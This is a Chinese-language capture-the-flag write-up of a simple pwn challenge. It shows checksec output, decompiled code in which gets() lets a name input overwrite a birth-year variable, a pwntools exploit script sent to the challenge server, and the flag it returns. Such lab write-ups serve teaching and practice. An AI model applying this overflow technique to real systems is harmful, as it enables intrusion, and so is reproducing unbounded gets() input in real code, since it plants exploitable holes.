查看保护：

```
fish@ubuntu:/mnt/hgfs/share/CG-CTF$ file test
test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, i
nterpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=718185b5ec9c26eb9aeccfa
0ab53678e34fee00a, stripped
fish@ubuntu:/mnt/hgfs/share/CG-CTF$ checksec test
[*] '/mnt/hgfs/share/CG-CTF/test'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

开了 canary

运行一下：

```
fish@ubuntu:/mnt/hgfs/share/CG-CTF$ ./test
What's Your Birth?
1962
What's Your Name?
fish
You Are Born In 1962
You Are Naive.
You Speed One Second Here.
```

放入 IDA 中查看逻辑：

```
 8  v6 = __readfsqword(0x28u);
 9  setbuf(stdin, 0LL);
10  setbuf(stdout, 0LL);
11  setbuf(stderr, 0LL);
12  puts("What's Your Birth?");
13  __isoc99_scanf("%d", &v5);
14  while ( getchar() != 10 )
15    ;
16  if ( v5 == 1926 )
17  {
18    puts("You Cannot Born In 1926!");
19    result = 0LL;
20  }
21  else
22  {
23    puts("What's Your Name?");
24    gets(&v4);
25    printf("You Are Born In %d\n", v5);
26    if ( v5 == 1926 )
27    {
28      puts("You Shall Have Flag.");
29      system("cat flag");
30    }
31    else
32    {
33      puts("You Are Naive.");
34      puts("You Speed One Second Here.");
35    }
36    result = 0LL;
37  }
```

```
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
```

很简单，只需要在输入 v4 时覆盖掉 v5 即可

exp 如下：

```python
from pwn import *

if args['REMOTE']:
        r=remote('ctf.acdxvfsvd.net',1926)
else:
        r=process('./test')

r.sendlineafter('Birth?\n','2000')

payload='a'*8+p64(1926)

r.sendlineafter('Name?\n',payload)

r.interactive()
```

得到 flag：

```
fish@ubuntu:/mnt/hgfs/share/CG-CTF$ python pwn_born.py REMOTE
[+] Opening connection to ctf.acdxvfsvd.net on port 1926: Done
[*] Switching to interactive mode
You Are Born In 1926
You Shall Have Flag.
flag{gets_is_dangerous_+1s}
[*] Got EOF while reading in interactive
$ Name?
```

截图(Alt + A)